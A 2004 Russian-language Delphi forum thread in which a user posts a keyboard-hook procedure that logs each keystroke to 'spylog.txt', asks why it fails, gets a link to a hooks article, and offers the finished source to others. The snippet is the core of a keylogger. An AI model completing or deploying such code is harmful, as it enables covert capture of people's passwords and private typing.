Вниз
Скачать: CL | DM;

Не работает перехват сообщения   Найти похожие ветки 

← →
faith   (2004-05-05 14:40) [0]

После записи в файл перестают перехватываться сообщения, кстати и файл сам не записывается. Странно как-то, если кто знает подкажите, пожалуйста.


function KeyboardProc(nCode:integer; wParam, lParam: Longint):Longint;
 stdcall;
var wrkStr: ShortString;
   tfile : textfile;
begin
 if nCode <0 then begin
   Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
   exit;
 end;

   case wParam of
     VK_ESCAPE : wrkStr := ""ESC"";
     VK_RETURN : wrkStr := ""ENTER"";
   else
     wrkStr := Chr(MapVirtualKey(wParam,2));
   end;

   AssignFile(tfile,"spylog.txt");
   Rewrite(tFile);
   writeln(tFile,wrkStr);
   CloseFile(tFile);

 Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
end;


← →
VMcL ©   (2004-05-05 17:41) [1]

>>faith  (05.05.04 14:40)

http://www.delphimaster.ru/articles/hooks/index.html
?


← →
faith   (2004-05-05 23:44) [2]

Класно, что-то умное и интересное. Сейчас прочту. Спасибо, ссылка хорошая.


← →
faith   (2004-05-08 18:15) [3]

Спасибо за ссылку, очень помогло. Хотя в их примере есть одна ошибка, но это несущественно. Самый грамотный мануал по этой теме! Кому нужен результат с исходниками (получилась довольно неплохо), пишите!



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.45 MB
Время: 0.022 c
14-1085579330
VID
2004-05-26 17:48
2004.06.13
О пополнении кошелька WebMoney через СБЕРБАНК


3-1085408162
Mazer
2004-05-24 18:16
2004.06.13
Запись массива в memo-поле dBase таблицы...


9-1076844406
Poison man
2004-02-15 14:26
2004.06.13
Несколько вопросов от новичка


1-1085991974
Ertong
2004-05-31 12:26
2004.06.13
Popup in Popup


1-1085725841
Susanoo
2004-05-28 10:30
2004.06.13
Элементы MainMenu




   Наверх